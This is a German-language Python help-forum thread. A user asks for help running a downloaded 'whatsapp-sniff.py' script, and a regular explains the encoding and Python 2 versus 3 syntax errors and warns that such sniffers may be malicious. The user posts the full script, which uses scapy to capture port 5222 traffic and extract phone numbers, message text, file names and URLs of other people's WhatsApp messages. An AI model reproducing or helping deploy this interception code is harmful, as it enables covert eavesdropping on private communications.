Invalid Character in Identifier

Wenn du dir nicht sicher bist, in welchem der anderen Foren du die Frage stellen sollst, dann bist du hier im Forum für allgemeine Fragen sicher richtig.
R0bby
User
Beiträge: 18
Registriert: Sonntag 16. August 2015, 18:21

Hallo,

zuerst möchte ich mal sagen das ich mich nicht so richtig mit Python auskenne.
Ich habe mir letztens ein Python Script aus dem Internet herunter geladen doch ich bekomme es nicht ans laufen.
Ich bekomme immer die Fehlermeldung:File "/storage/emulated/0/com.hipipal.qpyplus/scripts3/whatsapp-sniff.py", line 25

Code: Alles auswählen

        print "IIIIIIIIIIIIIIIIIIIIIIIII"
                ^
SyntaxError: invalid character in identifier

Es wäre sehr nett wenn ihr mir weiter helfen würdet!
Zuletzt geändert von Anonymous am Sonntag 16. August 2015, 18:56, insgesamt 1-mal geändert.
Grund: Quelltext in Python-Code-Tags gesetzt.
Benutzeravatar
sparrow
User
Beiträge: 4599
Registriert: Freitag 17. April 2009, 10:28

Die Fehlermeldung bedeutet, dass ein "Identifier" (also Name einer Variable, Funktion, etc.) mindestens ein Zeichen enthält, den es nicht enthalten darf.
R0bby
User
Beiträge: 18
Registriert: Sonntag 16. August 2015, 18:21

Ich hab schon die Zeichen in dieser Zeile durch andere ausgetauscht doch trotzdem erscheint die Fehlermeldung immer noch...
Benutzeravatar
sparrow
User
Beiträge: 4599
Registriert: Freitag 17. April 2009, 10:28

Dann mehr Script zeigen.
Oder die komplette Zeile mal löschen. Es kann ja auch ein Zeichen sein, dass nicht angezeigt wird.
Oder das Programm hat keine Funktion, einen eingebauten Syntax-Fehler und macht in Wirklichkeit lustige Sachen mit deinem Telefon, die du nicht willst. Ich bin auf jeden Fall immer skeptisch, wenn mir jemand etwas als Whatsapp-Sniffer andrehen will.
R0bby
User
Beiträge: 18
Registriert: Sonntag 16. August 2015, 18:21

Ich weiß dass es man nicht alles glauben soll, aber auch wenn ich mich nicht auskenne sieht man schon dass das Script das macht was es machen soll
R0bby
User
Beiträge: 18
Registriert: Sonntag 16. August 2015, 18:21

Hier ist einfach mal das ganze Skript:

Code: Alles auswählen

#!/usr/bin/env python

import os 

import sys 

from scapy.all import *

import re


PreviousMsg = "" 

PreviousFilename = "" 

Files = [] 

Messages = [] 

Urls = []


def banner(): 

    print "IIIIIIIIIIIIIIIIIIIIIIIII"

    print "II whatsapp sniff v0.1 II"

    print "II qnix@0x80.org II"

    print "IIIIIIIIIIIIIIIIIIIIIII\n"


def whatsapp_parse(packet):

    global Previous_Msg

    global Previous_Filename 

    global Files 

    global Messages 

    global Urls 

    src = packet.sprintf("%IP.src%") 

    dst = packet.sprintf("%IP.dst%") 

    sport = packet.sprintf("%IP.sport%") 

    dport = packet.sprintf("%IP.dport%") 

    raw = packet.sprintf("%Raw.load%")


    # Target Sending stuff

    if dport == "5222":

        Filename = ""

        toNumber = ""

        Url = ""

        Msg = ""

        try:

            toNumber = re.sub("\D", "", raw)

            if toNumber[5:16].startswith("0"):

                toNumber = toNumber[6:17]

            else:

                toNumber = toNumber[5:16]

            try:

                Filename = raw.split("file\\xfc")[1][1:37]

                Url = raw.split("file\\xfc")[1].split("\\xa5\\xfc")[1].split("\\xfd\\x00")[0][1:]

            except:pass


            try:

                Msg = raw.split("\\xf8\\x02\\x16\\xfc")[1][4:-1].decode("string_escape")

            except:

                pass

        except: pass

        if(len(toNumber) >= 10):

            if len(Msg) >= 1 and Previous_Msg != Msg:

                Previous_Msg = Msg

                print "To : ", toNumber

                print "Msg : ", Msg

                Messages.append(Msg)

            elif(len(Filename) >= 1 and Previous_Filename != Filename):

                Previous_Filename = Filename

                print "To : ", toNumber

                print "Filename : ", Filename

                print "URL : ", Url

                Files.append(Filename)

                Urls.append(Url)


    # Recieved Messages

    if sport == "5222":

        Msg = ""

        fromNumber = ""

        Url = ""

        Filename = ""

        try:

            fromNumber = re.sub("\D", "", raw)

            if(fromNumber[5:16].startswith("0")): fromNumber = fromNumber[6:17]

            else: fromNumber = fromNumber[5:16]

            try:

                Filename = raw.split("file\\xfc")[1][1:37]

                Url = raw.split("file\\xfc")[1].split("\\xa5\\xfc")[1].split("\\xfd\\x00")[0][1:]

            except: pass

            try: Msg = raw.split("\\x02\\x16\\xfc")[1][4:-1].decode("string_escape")

            except: pass

        except:

            pass

        if len(fromNumber) == 1 and Previous_Msg != Msg:

                Previous_Msg = Msg

                print "From : ", fromNumber

                print "Msg : ", Msg

                Messages.append(Msg)

        elif len(Filename) >= 1 and Previous_Filename != Filename:

                Previous_Filename = Filename

                print "From : ", fromNumber

                print "Filename : ", Filename

                print "URL : ", Url

                Files.append(Filename)

                Urls.append(Url)


def callback(packet): 

    sport = packet.sprintf("%IP.sport%")

    dport = packet.sprintf("%IP.dport%")

    raw = packet.sprintf("%Raw.load%")

    if raw != '??':

        if dport == "5222" or sport == "5222":

            whatsapp_parse(packet)


def main(): 

    banner() 

    if len(sys.argv) != 2:

        print "%s " % sys.argv[0]

        sys.exit(1)


    iface = sys.argv[1]

    verb = 0

    promisc = 0

    expr = "tcp port 5222"


    print("[+] Interface : ", iface)

    print("[+] filter : ", expr)

    sniff(filter=expr, prn=callback, store=0)

    # print "[+] iface %s" % scapy.iface

if __name__ == "__main__":

    main()
Zuletzt geändert von Anonymous am Sonntag 16. August 2015, 19:00, insgesamt 1-mal geändert.
Grund: Quelltext in Python-Code-Tags gesetzt.
Benutzeravatar
sparrow
User
Beiträge: 4599
Registriert: Freitag 17. April 2009, 10:28

Ich würde sagen, da ist etwas mit der Kodierung kaputt, denn in den Print-Statements stehen normalerweise Rauten:
https://github.com/0x90/wifi-scripts/bl ... p-sniff.py
R0bby
User
Beiträge: 18
Registriert: Sonntag 16. August 2015, 18:21

Nein ich habe die Rauten mit Absicht ausgetauscht, denn mit ihnen hatte ich die selbe Fehlermeldung und ich wollte gucken ob sich dies ändert wenn ich ein anderes Zeichen benutze
Benutzeravatar
sparrow
User
Beiträge: 4599
Registriert: Freitag 17. April 2009, 10:28

Ok, ich kann sowohl den von mir verlinkten Code, als auch den, den du hier gepostet hast, kann ich problemlos durch den Parser jagen.

In welcher Umgebung wird der Code gestartet?
R0bby
User
Beiträge: 18
Registriert: Sonntag 16. August 2015, 18:21

Ich habe das Skript in einem Debian Terminal gestartet udn in einer typischen Python Konsole die von einer APP bereit gestellt wird.
In beiden Konsolen wird eine Python3 Version verwendet.
Benutzeravatar
sparrow
User
Beiträge: 4599
Registriert: Freitag 17. April 2009, 10:28

Mit Python 3 wird der Code nicht funktionieren, denn dort wird diese Form des Print-Statements nicht mehr unterstützt.
Dann kommt es auf jeden Fall zu einem "SyntaxError: invalid syntax"
R0bby
User
Beiträge: 18
Registriert: Sonntag 16. August 2015, 18:21

Sollte ich dann eine 2er Version benutzen?
Benutzeravatar
sparrow
User
Beiträge: 4599
Registriert: Freitag 17. April 2009, 10:28

Jap.
2.7.x ist die aktuelle Version von Python 2.
R0bby
User
Beiträge: 18
Registriert: Sonntag 16. August 2015, 18:21

Nur leider hatte ich schon vorher diese Version benutzt und habe dann eine Fehlermeldung erhalten, dass ich einen Non-Ascii Character verwende...
R0bby
User
Beiträge: 18
Registriert: Sonntag 16. August 2015, 18:21

Das hier war die exakte Fehlermeldung: File "whatsapp-sniff.py", line 25
SyntaxError: Non-ASCII character '\xc2' in file whatsapp-sniff.py on line 25, but no encoding declared; see http://www.python.org/peps/pep-0263.html for details
Benutzeravatar
sparrow
User
Beiträge: 4599
Registriert: Freitag 17. April 2009, 10:28

Ich verweise auf den gerade abgearbeiteten Thread ganz in der Nähe:

http://www.python-forum.de/viewtopic.php?f=1&t=36864
R0bby
User
Beiträge: 18
Registriert: Sonntag 16. August 2015, 18:21

Ich habe schon einmal im Skript oben die UTF-8 Kodierung deklariert mit "# coding: utf8".
Doch trotzdem hat es nichts gebracht...
R0bby
User
Beiträge: 18
Registriert: Sonntag 16. August 2015, 18:21

Außerdem benutze ich Python ja nicht unter Windows!
Benutzeravatar
sparrow
User
Beiträge: 4599
Registriert: Freitag 17. April 2009, 10:28

Das hat damit nichts zu tun.
Das als UTF-8 zu deklarieren kann auch nicht helfen, denn wenn kein Encoding für die Quelldatei angegeben ist, dann nimmt Python UTF-8 als Encoding an.
Deine Quelldatei ist also anders kodiert, und _das_ Encoding musst du angeben.
R0bby
User
Beiträge: 18
Registriert: Sonntag 16. August 2015, 18:21

Achso, wie gesagt ich kenne mich nicht aus.
Und wie mache ich das?
Antworten